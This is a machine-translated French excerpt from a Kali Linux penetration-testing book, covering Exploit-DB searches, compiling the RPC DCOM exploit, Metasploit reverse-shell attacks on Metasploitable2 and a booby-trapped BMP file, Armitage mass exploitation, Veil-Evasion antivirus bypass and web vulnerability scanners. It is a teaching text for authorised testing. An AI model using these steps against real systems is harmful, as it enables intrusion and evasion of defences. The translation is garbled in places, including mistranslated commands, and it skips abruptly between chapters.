Chapitre 4 [ 95 ] Le script de recherche analyse chaque ligne du fichier CSV de gauche à droite, donc l'ordre des termes de recherche est important - une recherche d'oracle 10g renverra plusieurs exploits, mais l'oracle 10g n'en renverra aucun. Aussi, le script est étrangement sensible à la casse ; bien qu'on vous demande d'utiliser caractères minuscules dans le terme de recherche, une recherche de Bulletproof FTP ne renvoie aucun résultat, mais le protocole FTP à l'épreuve des balles renvoie sept résultats, et ftp pare-balles ne renvoie aucun résultat. Des recherches plus efficaces du CSV peut être effectué à l'aide de la commande grep ou d'un outil de recherche tel que KWrite (apt-get install kwrite). Une recherche dans la base de données locale peut identifier plusieurs exploits possibles avec un une description et une liste de chemins ; cependant, ceux-ci devront être personnalisés en fonction de votre environnement, puis compilé avant utilisation. Copiez l'exploit au / tmp répertoire (le chemin donné ne tient pas compte du fait que le répertoire /windows/remote réside dans le répertoire /platforms ). Les exploits présentés sous forme de scripts tels que Perl, Ruby et PHP sont relativement faciles à
mettre en place. Par exemple, si la cible est un serveur Microsoft II 6.0 qui peut être vulnérable à un contournement d'authentification à distance WebDAV, copiez l'exploit dans le répertoire racine et puis exécutez-le comme un script Perl standard, comme illustré dans la capture d'écran suivante : Page 113
Exploit [ 96 ] De nombreux exploits sont disponibles sous forme de code source qui doit être compilé avant utilisation. Par exemple, une recherche de vulnérabilités spécifiques à RPC identifie plusieurs exploits. Un extrait est présenté dans la capture d'écran suivante : La vulnérabilité RPC DCOM identifiée comme 76.c est connue en pratique pour être relativement stable. Nous allons donc l'utiliser comme exemple. Pour compiler cet exploit, copiez-le du répertoire de stockage vers le répertoire /tmp . Dans cet emplacement, compilez en utilisant GCC avec la commande comme suit : root@kali:~# gcc 76.c -o 76.exe Cela utilisera l'application GNU Compiler Collection pour compiler 76.c dans un fichier avec le nom de sortie ( -o ) de 76.exe , comme illustré dans la capture d'écran suivante : Lorsque vous appelez l'application sur la cible, vous devez appeler l'exécutable (qui n'est pas stocké dans le répertoire /tmp ) en utilisant un lien symbolique comme suit : root@kali:~# ./76.exe Le code source de cet exploit est bien documenté et les paramètres requis sont
clear à l'exécution, comme le montre la capture d'écran suivante : 114
Chapitre 4 [ 97 ] Malheureusement, tous les exploits de la base de données d'exploits et d'autres sources publiques compilé aussi facilement que 76.c . Il y a plusieurs problèmes qui rendent l'utilisation de tels exploits problématiques, voire dangereux, pour les testeurs d'intrusion répertoriés comme suit : • Des erreurs délibérées ou un code source incomplet sont fréquemment rencontrés comme les développeurs expérimentés tentent de garder les exploits loin des inexpérimentés utilisateurs, en particulier les débutants qui essaient de compromettre les systèmes sans connaître les risques qui accompagnent leurs actions. • Les exploits ne sont pas toujours suffisamment documentés ; après tout, il n'y a pas norme qui régit la création et l'utilisation du code destiné à être utilisé compromettre un système de données. En conséquence, ils peuvent être difficiles à utiliser, en particulier pour les testeurs qui manquent d'expertise dans le développement d'applications. • Comportements incohérents en raison de l'évolution des environnements (nouveaux correctifs appliqués au système cible et les variations de langue dans l'application cible) peuvent nécessitent des modifications importantes du code source ; encore une fois, cela peut nécessiter un développeur qualifié.
• Il y a toujours le risque de code librement disponible contenant des fonctionnalités. Un testeur d'intrusion peut penser qu'il mène une preuve de concept ( POC ) et ne sauront pas que l'exploit a a également créé une porte dérobée dans l'application testée qui pourrait être utilisée par le développeur. Pour garantir des résultats cohérents et créer une communauté de codeurs qui suivent pratiques, plusieurs frameworks d'exploitation ont été développés. Le plus populaire Le framework d'exploitation est le Framework Metasploit. Page 115
Exploit [ 98 ] Le cadre Metasploit Le Metasploit Framework ( MSF ) est un outil open source conçu pour faciliter tests de pénétration. Écrit dans le langage de programmation Ruby, il utilise un approche pour faciliter les exploits. Cela facilite le développement et le codage des exploits, et il permet également de mettre en œuvre facilement des attaques complexes. MSF peut présenter plusieurs interfaces aux modules backend qui contrôlent exploitation (console, CLI et web). Nous utiliserons l'interface de la console pour sa rapidité, car il présente les commandes d'attaque, et il a la configuration requise paramètres dans une interface facile à comprendre. Pour accéder à cette interface, entrez
msfconsole dans une invite de commande ou sélectionnez-le dans un menu déroulant tel que Les 10 meilleurs outils de sécurité . La capture d'écran suivante montre l'écran de démarrage lorsque le l'application se lance : Le MSF se compose de modules qui sont combinés pour affecter un exploit. Les modules et leurs fonctions spécifiques sont les suivantes : • Exploits : Les fragments de code qui ciblent des vulnérabilités spécifiques. actif les exploits exploiteront une cible spécifique, s'exécuteront jusqu'à ce qu'ils soient terminés, puis quitteront (par exemple, un débordement de buffer). Les exploits passifs attendent les hôtes entrants, tels que les navigateurs Web ou les clients FTP, et les exploiter lorsqu'ils se connectent. • Payloads : Ce sont les codes malveillants qui implémentent les commandes immédiatement après une exploitation réussie. 116
Chapitre 4 [ 99 ] • Modules auxiliaires : Ces modules n'établissent ou ne prennent pas directement en charge accès entre le testeur et le système cible ; au lieu de cela, ils exécutent fonctions connexes telles que la numérisation, le fuzzing ou le reniflement qui prennent en charge le phase d'exploitation. • Post modules : Suite à une attaque réussie, ces modules s'exécutent sur cibles compromises pour recueillir des données utiles et faire pivoter l'attaquant plus profondément
dans le réseau cible. Nous en apprendrons plus sur les modules post dans Chapitre 5 , Post Exploit – Action sur l'objectif . • Encodeurs : lorsque les exploits doivent contourner les défenses antivirus, ces modules coder la charge utile afin qu'elle ne puisse pas être détectée à l'aide de la correspondance de signature technique. • Pas d'opérations ( NOP ) : elles sont utilisées pour faciliter les débordements de tampon lors d'attaques. Ces modules sont utilisés ensemble pour effectuer des reconnaissances et lancer des attaques contre des cibles. Les étapes d'exploitation d'un système cible à l'aide de MSF peuvent être résumé comme suit : 1. Choisissez et configurez un exploit (le code qui compromet un vulnérabilité sur le système cible). 2. Vérifiez le système cible pour déterminer s'il est susceptible d'être attaqué par le exploit. Cette étape est facultative et est généralement omise pour minimiser le détection. 3. Choisissez et configurez la charge utile (le code qui sera exécuté sur le système cible après une exploitation réussie. Par exemple, un inverse shell du système compromis vers la source). 4. Choisissez une technique d'encodage pour contourner les contrôles de détection (ID/IP ou Logiciel antivirus). 5. Exécutez l'exploit. L'exemple suivant représente une attaque simple contre la cible basée sur Linux
système d'exploitation Metasploitable2. Il est disponible en ligne sur http://sourceforge. net/projects/metasploitable/files/Metasploitable2 . Metasploitable2 a été conçu pour être vulnérable aux attaques, et il contient des éléments connus et caractérisés vulnérabilités qui fournissent une plate-forme standard pour la formation et la validation exploiter les outils. Page 117
Exploit [ 100 ] Lorsqu'il est installé en tant que machine virtuelle (couvert dans l' annexe , Installation de Kali Linux ), Metasploitable peut être scanné à l'aide de nmap , qui identifie les ports ouverts et associés applications. Un extrait de l' analyse nmap est présenté dans la capture d'écran suivante : Plusieurs applications ont été identifiées par nmap dans l'exemple précédent. En tant que testeur, nous devrions enquêter sur chacun pour toute vulnérabilité connue. L'un des premiers endroits pour commencer, c'est la propre collection d'exploits de Metasploit. Cela peut être recherché à partir du ligne de commande suivante en utilisant : msf> rechercher samba Les exploits renvoyés pour le service samba sont répertoriés et chacun d'eux est attribué un classement relatif de leur succès dans la réalisation d'un exploit. Ce qui suit la capture d'écran montre un extrait des exploits de samba disponibles :
Page 118
Chapitre 4 [ 101 ] L' exploit exploit/multi/samba/usermap_script a été sélectionné pour être utilisé dans le reste de cet exemple car il est classé comme excellent. Ce classement était déterminé par l'équipe de développement de Metasploit et identifie la fiabilité du exploit fonctionne pour un testeur qualifié contre un système cible stable. Dans la vraie vie, plusieurs variables (compétences du testeur, protections sur le réseau, modifications du système d'exploitation et applications hébergées) peuvent fonctionner ensemble pour modifier considérablement la fiabilité de l'exploit. Des informations supplémentaires relatives à cet exploit ont été obtenues à l'aide de ce qui suit commande info : msf> info exploit/multi/samba/usermap_script Les informations renvoyées incluent les références ainsi que les informations affichées dans le capture d'écran suivante : Page 119
Exploit [ 102 ] Pour indiquer à Metasploit que nous allons attaquer la cible avec cet exploit, nous émettons le commande suivante : msf> utiliser exploit/multi/samba/usermap_script Metasploit modifie l'invite de commande de msf> en exploit msf (usermap_script) > . Metasploit invite le testeur à sélectionner la charge utile (un shell inverse du
système compromis à l'attaquant) et définit les autres variables répertoriées comme suit: • Hôte distant ( RHOST ) : il s'agit de l'adresse IP du système attaqué • Port distant ( RPORT ) : il s'agit du numéro de port utilisé pour l'exploit • Hôte local ( LHOST ) : Il s'agit de l'adresse IP du système utilisé pour lancer l'attaque L'attaque est lancée en entrant la commande exploit à l'invite après tout des variables ont été définies. Metasploit lance l'attaque et confirme qu'un renversement shell est présent en indiquant la commande shell 1 ouverte et en donnant les adresses IP qui commencent et terminent la coque inverse. Pour vérifier qu'un shell est présent, le testeur peut émettre des requêtes sur le nom d'hôte, username ( uname -a ), et whoami pour confirmer que les résultats sont spécifiques à la cible système qui est situé à un endroit éloigné. Jetez un œil à la capture d'écran suivante : 120
Chapitre 4 [ 103 ] Lorsqu'un système est compromis à ce point, il est prêt pour la post-exploitation activités ( voir chapitre 5 , Post Exploit – Action on the Objective et Chapitre 6 , Post Exploit – persistance ). Pour ajouter de nouveaux exploits à Metasploit, en script Ruby ( .rb ) ou Python ( .py ), placez-les dans le dossier .msf4 caché situé dans votre répertoire personnel, puis
recharger msfconsole . Exploiter une application vulnérable Le Framework Metasploit est tout aussi efficace contre les vulnérabilités dans le système d'exploitation ainsi que des applications tierces. Dans cet exemple, nous allons exploiter une vulnérabilité de débordement de tampon qui a été identifiée dans Chasys Draw IES (Version 4.10.01). La vulnérabilité existe dans la fonction ReadFile , qui est utilisée pour stocker données fournies par l'utilisateur de manière non sécurisée. L'exploitation aboutit à du code arbitraire l'exécution dans le contexte de l'utilisateur. Pour lancer l'attaque, le testeur doit générer un fichier BMP spécialement conçu et demandez ensuite à la victime d'ouvrir ce fichier dans l'application Chasys. Lorsque cela se produit, il compromettra le système d'exploitation de base (efficace contre Windows XP SP3 et Windows 7 SP1). La première étape consiste à ouvrir msfconsole et à configurer Metasploit pour utiliser exploit/windows/ fileformat/chasys_draw_ies_bof , comme illustré dans la capture d'écran suivante : Encore une fois, l'exploit est un exploit relativement simple. Il faut que le testeur règle une marche arrière shell ( reverse_tcp ) du système compromis vers le système du testeur, le Hôte local ( LHOST ). Lorsque l'exploit est terminé, il crée le fichier BMP spécialement conçu, qui est stocké avec le nom par défaut de msf.bmp . Pour inciter la cible à ouvrir le fichier et éviter un nom par défaut qui peut être détecté par certains appareils, il est préférable de changer
le nom de fichier à quelque chose qui est plus pertinent pour la cible visée. Page 121
Exploit [ 104 ] L'étape suivante consiste à ouvrir une nouvelle instance de msfconsole et à configurer un écouteur pour le shell TCP inversé entrant qui proviendra de la cible lorsqu'il sera compromis. Un écouteur simple est montré dans la capture d'écran suivante : Une fois que la victime ouvre le fichier image BMP conçu dans l'application vulnérable, une session meterpreter est ouverte entre les deux systèmes. L' invite msf est remplacé par l' invite meterpreter et le testeur peut accéder efficacement à la télécommande système avec un shell de commande. Une des premières étapes après le compromis est de vérifier que vous êtes sur le système cible ; comme vous pouvez le voir dans la capture d'écran suivante, le La commande sysinfo identifie le nom de l'ordinateur et le système d'exploitation, en vérifiant un attaque réussie :
Page 122
Chapitre 4 [ 105 ] Exploiter plusieurs cibles avec Armitage Armitage est souvent négligé par les testeurs d'intrusion qui évitent son interface graphique l'interface au profit de l'entrée en ligne de commande traditionnelle de la console Metasploit.
Cependant, il possède les fonctionnalités de Metasploit tout en donnant de la visibilité à ses nombreux options possibles, ce qui en fait une bonne alternative dans les environnements de test complexes. Contrairement à Metasploit, il vous permet également de tester plusieurs cibles en même temps, jusqu'à 512 cibles à la fois. Pour démarrer Armitage, assurez-vous que la base de données et les services Metasploit sont démarrés en utilisant la commande suivante : démarrage du service postgresql service metasploit start Après cette étape, entrez armitage sur l'invite de commande pour exécuter la commande. Armitage ne s'exécute pas toujours proprement et peut nécessiter que les étapes de lancement soient répété pour s'assurer qu'il fonctionne correctement. Pour découvrir les cibles disponibles, vous pouvez ajouter manuellement un hôte en fournissant son IP ou sélectionnez une analyse nmap dans l' onglet Hôtes de la barre de menus. Armitage peut énumérez également les cibles à l'aide des commandes auxiliaires MSF ou de l'énumération DNS. Armitage peut également importer des données hôtes à partir des fichiers suivants : Acunetix, amap, AppScan, proxy Burp, Foundstone, Microsoft Baseline Security Analyzer, Nessus Fichiers NBE et XML, NetSparker, NeXpose, nmap, OpenVas, Qualys et Retina. L'écran de démarrage initial d'Armitage est illustré dans la capture d'écran suivante :
Exploit [ 106 ]
123
Armitage vous permet de définir une étiquette d'hôte en sélectionnant un hôte à l'aide d'un clic droit, et puis allez dans le menu Host et sélectionnez la fonction Set Label… . Cela vous permet pour signaler une adresse particulière ou l'identifier par un nom commun, ce qui est utile lorsque en utilisant des tests en équipe. Ce processus est illustré dans la capture d'écran suivante : Armitage prend également en charge les espaces de travail dynamiques, une vue filtrée du réseau basée sur sur les critères de réseau, le système d'exploitation, les ports et services ouverts et les étiquettes. Pour exemple, vous pouvez tester un réseau et identifier plusieurs serveurs qui ne semblent pas être patché dans l'étendue du reste du réseau. Ceux-ci peuvent être mis en évidence en leur donnant une étiquette puis en les plaçant dans un espace de travail prioritaire. Une fois que vous avez identifié les systèmes cibles présents sur un réseau, vous pouvez sélectionner des modules spécifiques à mettre en œuvre dans le cadre du processus d'exploitation. Vous pouvez également utilisez l' option Attaques dans la barre de menu pour trouver des attaques. Pour exploiter un hôte, sélectionnez-le avec un clic droit, accédez à l' élément Attaque et choisissez un exploit (assurez-vous que le système d'exploitation est configuré pour le bon hôte ; cela ne pas toujours automatiquement). Une option intéressante est Je vous salue Marie , située sous l' option Attaques . En sélectionnant cette fonction, tous les systèmes identifiés sont automatiquement soumis à des exploits pour atteindre le plus grand nombre de compromis possibles. C'est une attaque très bruyante et devrait
donc être utilisé comme choix de test de dernier recours. C'est aussi un excellent moyen de déterminer si un système de détection d'intrusion est mis en œuvre et configuré correctement ! 124
Chapitre 4 [ 107 ] Un système compromis apparaît sous la forme d'une icône avec une bordure rouge avec des des étincelles. Dans la capture d'écran suivante, deux systèmes de test ont été compromis et il quatre sessions actives sont en place entre ces systèmes et le testeur. L' actif Le panneau Sessions indique les connexions et identifie quel exploit a été utilisé pour compromettre la cible. Jetez un œil à la capture d'écran suivante qui représente le différentes possibilités : Lors d'un test de pénétration qui a été mené, le Je vous salue Marie option a identifié deux vulnérabilités exploitables avec la cible et a lancé deux sessions actives. Test manuel avec le même cible a finalement identifié huit vulnérabilités exploitables, avec plusieurs canaux de communication entre les personnes compromises système et le testeur. Les tests en conditions réelles de ce type renforcent les avantages et les faiblesses des outils automatisés lors de la processus de test de pénétration. Tests en équipe avec Armitage Armitage est plus qu'une interface graphique pour le framework Metasploit ; c'est un outil de test d'intrusion scriptable qui permet à une équipe d'utiliser une seule instance du
Metasploit Framework pour que l'interface graphique affiche les fonctions suivantes : • Il utilise la même session, permettant à un testeur de superviser le processus, d'identifier résultats d'intérêt et contrôler la direction des tests. • Il exécute des scripts pour automatiser les tâches de test. 125
Exploit [ 108 ] • Il partage les fichiers téléchargés tels que les fichiers de mots de passe. Cela permet à une équipe membre de se concentrer sur le piratage de mots de passe, tandis que les autres membres de l'équipe continuent la phase d'exploitation. • Il communique à l'aide d'un journal d'événements partagé. Pour profiter de la configuration d'équipe, assurez-vous qu'Armitage n'est pas déjà en cours d'exécution, puis appelez le script teamserver à partir d'une invite de console dans le Répertoire Armitage , généralement /usr/share/armitage , comme suit : root@kali:/usr/share/armitage# ./teamserverip_address mot de passe Assurez-vous que l'adresse IP est correcte, car elle n'est pas vérifiée par Armitage, et que tous les membres de l'équipe peuvent accéder à l'hôte sur le port 55553 . Lorsque vous démarrez l'Armitage serveur d'équipe, il communique avec les membres de l'équipe à l'aide d'un certificat SSL ; équipe les membres doivent vérifier que le hachage SHA-1 du certificat correspond à celui du serveur Certificat SSL. Ne vous connectez pas à 127.0.0.1 lorsque le script teamserver est en cours d'exécution, car Armitage
utilise cette adresse IP pour se connecter et déterminer s'il doit utiliser SSL ( teamserver ou une adresse distante) ou non SSL ( localhost ou msfrpcd ). Se connecter Armitage vers teamserver localement, utilisez l'adresse IP externe dans le champ Hôte . Les utilisateurs peuvent ouvrir un ou plusieurs interpréteurs de commandes, parcourir des fichiers, télécharger des données et prendre captures d'écran. Les sessions Shell sont automatiquement verrouillées lorsqu'elles sont utilisées, puis déverrouillées. Cependant, certains scripts meterpreter peuvent ne pas fonctionner au fil du temps. Pour communiquer en équipe, l' option Afficher du menu ouvre le journal des événements partagé. Vous pouvez faire des entrées dans le journal comme vous le feriez si vous utilisiez IRC ou un autre salle de discussion, et le journal conserve un enregistrement permanent de tous les commentaires. Script de l'attaque d'Armitage Armitage inclut le langage de script Cortana, basé sur Sleep, un langage extensible qui ressemble à Perl. Les scripts Cortana peuvent définir le clavier raccourcis, insérer des menus et créer des interfaces utilisateur uniques. Les scripts peuvent être exécutés en tant qu'entités autonomes (ce qui nécessite que l'équipe Armitage serveur soit actif) ou directement depuis Armitage. Pour charger un script existant, sélectionnez Armitage dans la barre de menu principale, puis sélectionnez Scripts . Une vue à onglets s'ouvrira et un bouton vous donnera la possibilité de charger un script. Armitage fournit également un environnement de script qui est invoqué à partir de la vue |
Onglet Script Console du menu, comme illustré dans la capture d'écran suivante : Page 126
Chapitre 4 [ 109 ] Un exemple de script pour analyser complètement les systèmes cibles à l'aide de Metasploit Framework pourrait être écrit comme scanner.cna . Chaque fois qu'un nouvel hôte est ajouté ( host_add ), le port MSF scanner recherchera une liste définie de ports TCP et les ports UDP disponibles. Prenez un regardez l'extrait de code suivant, qui montre le script du scanner : # Scanner de ports MSF onhost_add { println("[*] MSF Port Scanner Nouvel hôte OpenPorts on$1"); $console = console(); cmd($console, "utiliser auxiliaire/scanner/portscan/tcp"); cmd($console, "définir les FILS 12"); cmd($console, "définir les PORTS 139, 143"); # entrez d'autres ports si nécessaire cmd($console, "définir RHOSTS $1"); cmd($console, "run -j"); cmd($console, "utiliser auxiliaire/scanner/discovery/udp_sweep"); cmd($console, "définir les FILS 12"); cmd($console, "définir BATCHSIZE 256"); cmd($console, "définir RHOSTS $1"); cmd($console, "run -j"); db_sync(); } Étant donné que Cortana a des crochets étendus dans le framework Metasploit, les scripts peuvent être
utilisé pour lancer automatiquement des exploits, mener des activités post-exploitation, telles que suivre l'activité des utilisateurs et faciliter les activités multiutilisateurs tout au long de la chaîne de destruction de l'attaquant. Page 127
Exploit [ 110 ] Identifiants de contournement et détection antivirus La phase d'exploitation de la kill chain est la plus dangereuse pour la pénétration testeur ou attaquant - ils interagissent directement avec le réseau ou le système cible et il y a de grandes chances que leur activité soit enregistrée ou que leur identité soit découverte. Encore une fois, la furtivité doit être utilisée pour minimiser les risques pour le testeur. Bien qu'il n'y ait pas de précision la méthodologie ou l'outil est indétectable, il y a des changements de configuration et des outils spécifiques qui rendront la détection plus difficile. Lorsque l'on considère les exploits à distance, la plupart des réseaux et systèmes utilisent divers types de contrôles défensifs pour minimiser le risque d'attaque. Les périphériques réseau incluent routeurs, pare-feu, systèmes de détection et de prévention des intrusions et logiciels malveillants logiciel de détection. Pour faciliter l'exploitation, la plupart des frameworks intègrent des fonctionnalités pour rendre l'attaque quelque peu furtif. Le framework Metasploit vous permet de définir manuellement l'évasion facteurs sur une base exploit par exploitation; cependant, déterminer quels facteurs (tels que
comme le cryptage, le numéro de port, les noms de fichiers et autres) peut être difficile et changer pour chaque identifiant particulier. Le Framework Metasploit permet également la communication entre la cible et les systèmes attaquants à chiffrer (les fenêtres/meterpreter/ reverse_tcp_rc4 ), ce qui rend difficile la détection de la charge utile de l'exploit. Metasploit Pro, disponible en version d'essai sur la distribution Kali, comprend les éléments suivants pour contourner spécifiquement les systèmes de détection d'intrusion : • La vitesse de numérisation peut être ajustée dans les paramètres de Discovery Scan , réduisant ainsi la vitesse d'interaction avec la cible en réglant la vitesse sur sournois ou paranoïaque • Implémentez l'évasion de transport en envoyant des paquets TCP plus petits et en augmentant le temps de transmission entre les paquets • Réduire le nombre d'exploits simultanés lancés contre un système cible • Options d'évasion spécifiques à l'application pour les exploits impliquant DCERPC, HTTP et SMB peuvent être définis automatiquement La plupart des logiciels antivirus s'appuient sur la correspondance des signatures pour localiser les virus et autres malware. Ils examinent chaque exécutable pour les chaînes de code connues pour être présentes dans virus (la signature) et créer une alarme lorsqu'une chaîne suspecte est détectée. De nombreux des attaques de Metasploit reposent sur des fichiers pouvant posséder une signature qui, au fil du temps, a été identifié par les éditeurs d'antivirus. En réponse à cela, le Framework Metasploit permet à des exécutables autonomes d'être
codé pour contourner la détection. Malheureusement, des tests approfondis de ces exécutables à les sites publics, tels que virustotal.com , ont diminué leur efficacité à contourner le logiciel AV. Page 128
Chapitre 4 [ 111 ] Un nouveau framework d'évasion AV, écrit par Chris Truncer, appelé Veil-Evasion ( www.Veil-Evasion.com ), offre désormais une protection efficace contre les détection d'exploits autonomes. Veil-Evasion agrège diverses injections de shellcode techniques dans un cadre qui simplifie la gestion. En tant que framework, Veil-Evasion possède plusieurs fonctionnalités, dont ce qui suit: • Il intègre un shellcode personnalisé dans une variété de langages de programmation, y compris C, C# et Python • Il peut utiliser un shellcode généré par Metasploit • Il peut intégrer des outils tiers tels que Hyperion (chiffre un fichier EXE avec Cryptage AES-128 bits), PEScrambler et BackDoor Factory • Le script Veil-Evasion_evasion.cna permet à Veil-Evasion d'être intégré à Armitage et sa version commerciale, Cobalt Strike • Les charges utiles peuvent être générées et remplacées de manière transparente dans tous les appels PsExec • Les utilisateurs ont la possibilité de réutiliser le shellcode ou d'implémenter le leur méthodes de cryptage
• Sa fonctionnalité peut être scriptée pour automatiser le déploiement • Veil-Evasion est en constante évolution et le framework a été étendu avec des modules tels que Veil-Evasion-Catapult (la charge utile système de livraison) Veil-Evasion peut générer une charge utile d'exploit ; les charges utiles autonomes comprennent le options suivantes : • Installation minimale de Python pour invoquer le shellcode ; il télécharge un minimum Installation de Python.zip et du binaire 7zip. L'environnement Python est décompressé, en invoquant le shellcode. Étant donné que les seuls fichiers qui interagissent avec le victime sont des bibliothèques Python de confiance et l'interpréteur, l'AV de la victime le fait ne pas détecter ou alerter sur toute activité inhabituelle. • Sethc backdoor, qui configure le registre de la victime pour lancer le sticky clés RDP backdoor. • Injecteur de shellcode PowerShell. Lorsque les charges utiles ont été créées, elles peuvent être livrées à la cible dans l'un des les deux manières suivantes : • Télécharger et exécuter à l'aide de la boîte à outils Impacket et PTH • Appel UNC Page 129
Exploit [ 112 ] Veil-Evasion est disponible dans les référentiels Kali, tels que Veil-Evasion, et il est
installé automatiquement en entrant simplement apt-get install veil-evasion dans un invite de commande. Si vous recevez des erreurs lors de l'installation, relancez le /usr/share/veil-evasion/setup/setup.sh script. Veil-Evasion présente à l'utilisateur le menu principal, qui fournit le nombre de modules de charge utile qui sont chargés ainsi que les commandes disponibles. Liste de saisie listera toutes les charges utiles disponibles , liste langs listera les charges utiles de langue disponibles, et list listera les charges utiles pour une langue spécifique. Voile-Evasion's l'écran de lancement initial est illustré dans la capture d'écran suivante : Page 130
Chapitre 4 [ 113 ] Veil-Evasion connaît un développement rapide avec des sorties importantes sur une mensuellement et des mises à jour importantes se produisant plus fréquemment. Actuellement, il sont 24 charges utiles conçues pour contourner l'antivirus en utilisant le chiffrement ou directement injection dans l'espace mémoire. Ces charges utiles sont affichées dans la capture d'écran suivante :
Page 131
Exploit [ 114 ] Pour obtenir des informations sur une charge utile spécifique, tapez info ou info pour compléter automatiquement les charges utiles disponibles. Vous pouvez également
entrez simplement le numéro de la liste. Dans l'exemple suivant, nous avons saisi 19 pour sélectionner la charge utile python/shellcode_inject/aes_encrypt : L'exploit comprend une option expire_payload . Si le module n'est pas exécuté par l'utilisateur cible dans un délai spécifié, il est rendu inutilisable. Cette fonction contribue à la furtivité de l'attaque. Les options requises incluent le nom des options ainsi que les valeurs par défaut et descriptifs. Si une valeur requise n'est pas renseignée par défaut, le testeur devra pour saisir une valeur avant que la charge utile puisse être générée. Pour définir la valeur d'une option, entrez set wmap_run –e Page 255
Reconnaissance et exploitation des applications Web [ 238 ] L'exécution de la commande précédente est illustrée dans la capture d'écran suivante : L'exécution de cette commande peut prendre un certain temps avant d'être terminée (cela dépend de la nombre de pages du site Web, ainsi que la complexité structurelle du site, ainsi que fonctionnement des modules sélectionnés pour détecter les vulnérabilités). Le Framework Metasploit n'a pas été conçu pour les complexités des sites Web et services Web; ceci est visible dans la quantité limitée de résultats qui résultent de l'utilisation ce produit par rapport à l'utilisation de scanners de vulnérabilités spécialement conçus pour sites Web et services Web. Néanmoins, étant donné qu'il est toujours en cours de mise à jour, il vaut la peine de surveiller les changements dans ses capacités de numérisation. L' application Websploit utilise également les modules wmap . Extension des fonctionnalités des navigateurs Web Les navigateurs Web sont conçus pour interagir avec les services Web. En conséquence, il est naturel qu'ils sont sélectionnés comme outils d'évaluation de la vulnérabilité et d'exploitation. Le meilleur exemple de ce type d'ensemble d'outils est le Mantra de l'OWASP, une collection de utilitaires de sécurité de partie construits sur le navigateur Web Firefox. Le Mantra de l'OWASP prend en charge
Windows, Linux et Macintosh testent les systèmes et donne accès aux utilitaires qui soutenir les activités suivantes : • Collecte d'informations : Ces utilitaires assurent la reconnaissance passive, signaler l'emplacement physique de la cible, découvrir le site sous-jacent technologies, recherche et test des hyperliens du site Page 256
Chapitre 9 [ 239 ] • Éditeurs : une collection d'utilitaires qui éditent, déboguent et surveillent HTML, CSS, et JavaScript • Proxy : utilitaires qui fournissent des outils de gestion de proxy, dont FoxyProxy, un outil qui facilite les allers-retours entre les mandataires • Utilitaires réseau : ces utilitaires fournissent des clients pour FTP et SSH communications et simplifier la gestion du cache DNS • Audits applicatifs : Ils basculent entre différents agents utilisateurs, accèdent aux outils de développement Web, contrôlez ce qui est envoyé en tant que référent HTTP sur un site par site base, trouver les vulnérabilités d'injection SQL et XSS, permettre aux testeurs de falsifier les données, et l'accès aux outils Websecurify • Divers : Générez des scripts, gérez les sessions et les téléchargements, et accéder aux fonctions de chiffrement, de déchiffrement et de hashtag Le cadre Mantra peut être utilisé pour faciliter une reconnaissance semi-automatisée de un site Web.
Dans l'exemple illustré dans la capture d'écran suivante, la page de connexion Mutillidae a été ouvert dans le navigateur Mantra. A l'aide du menu déroulant (activé depuis le logo bleu dans le coin supérieur droit), l'application SQL Inject Me a été sélectionnée parmi les outils disponibles et s'affiche dans le panneau de gauche. Page 257
Reconnaissance et exploitation des applications Web [ 240 ] Scanners de vulnérabilités spécifiques aux services Web Les scanners de vulnérabilité sont des outils automatisés qui explorent une application pour identifier les signatures de vulnérabilités connues. Kali est livré avec plusieurs scanners de vulnérabilités préinstallés différents ; ils peuvent être accessible en naviguant vers Kali Linux | Applications Web | Vulnérabilité Web Scanners . Les testeurs de pénétration utiliseront généralement deux ou trois scanners complets contre la même cible pour garantir des résultats valides. Notez que certaines des vulnérabilités les scanners incluent également une fonctionnalité d'attaque. Les scanners de vulnérabilités sont assez "bruyants" et sont généralement détectés par la victime. Cependant, les analyses sont souvent ignorées dans le cadre d'une vérification d'arrière-plan régulière sur l'Internet. En fait, certains attaquants sont connus pour lancer des analyses à grande échelle contre une cible pour camoufler l'attaque réelle ou pour inciter les défenseurs à désactiver systèmes de détection pour réduire l'afflux de signalements qu'ils doivent gérer.
Voici un aperçu rapide des scanners de vulnérabilité les plus importants : Application La description Arachnide Un framework Ruby open source qui analyse les réponses HTTP reçu lors de la numérisation pour valider les réponses et éliminer faux positifs. GoLismero Il mappe les applications Web et détecte les vulnérabilités courantes. Les les résultats sont enregistrés aux formats TXT, CVS, HTML et RAW. Nikto Un scanner open source basé sur Perl qui permet l'évasion IDS et l'utilisateur les modifications apportées aux modules d'analyse ; cependant, ce scanner Web "original" est commence à montrer son âge, et n'est pas aussi précis que certains des plus scanners modernes. Skipfish Ce scanner effectue une analyse récursive et une analyse basée sur un dictionnaire pour générer un plan du site interactif du site Web ciblé qui est annoté avec le résultat d'analyses de vulnérabilité supplémentaires. Véga Il s'agit d'un scanner de vulnérabilité open source basé sur une interface graphique. Comme il est écrit en Java, il s'agit d'une multiplateforme (Linux, OS X et Windows) et peut être personnalisé par l'utilisateur. w3af
Ce scanner fournit à la fois une interface graphique et en ligne de commande pour une plate-forme de test Python complète. Il mappe un site Web cible et recherche les vulnérabilités. Ce projet est acquis par Rapid7, donc il y aura une intégration plus étroite avec le framework Metasploit dans l'avenir. Page 258
Chapitre 9 [ 241 ] Application La description Wapiti Il s'agit d'un scanner de vulnérabilité open source basé sur Python. Webscarab Il s'agit du framework Java d'OWASP pour analyser HTTP et protocoles HTTPS. Il peut agir comme un proxy d'interception, un fuzzer et un scanner de vulnérabilité simple. Webshag Il s'agit d'un robot d'exploration et d'un scanner de site Web basé sur Python qui peut utiliser évasion IDS complexe. Websploit Il s'agit d'un cadre pour les attaques de réseaux filaires et sans fil. La plupart des testeurs commencent à tester un site Web en utilisant Nikto, un simple scanner (en particulier en ce qui concerne les rapports) qui fournit généralement des résultats précis mais limités ; une
un exemple de sortie de cette analyse est illustré dans la capture d'écran suivante : L'étape suivante consiste à utiliser des scanners plus avancés qui numérisent un plus grand nombre de vulnérabilités; à leur tour, ils peuvent prendre beaucoup plus de temps pour se terminer. Il est pas rare pour les analyses de vulnérabilité complexes (comme déterminé par le nombre de pages à numériser ainsi que la complexité du site, qui peut inclure plusieurs pages qui autoriser l'entrée de l'utilisateur telles que des fonctions de recherche ou des formulaires qui collectent des données de l'utilisateur pour un base de données principale) prend plusieurs jours. Page 259
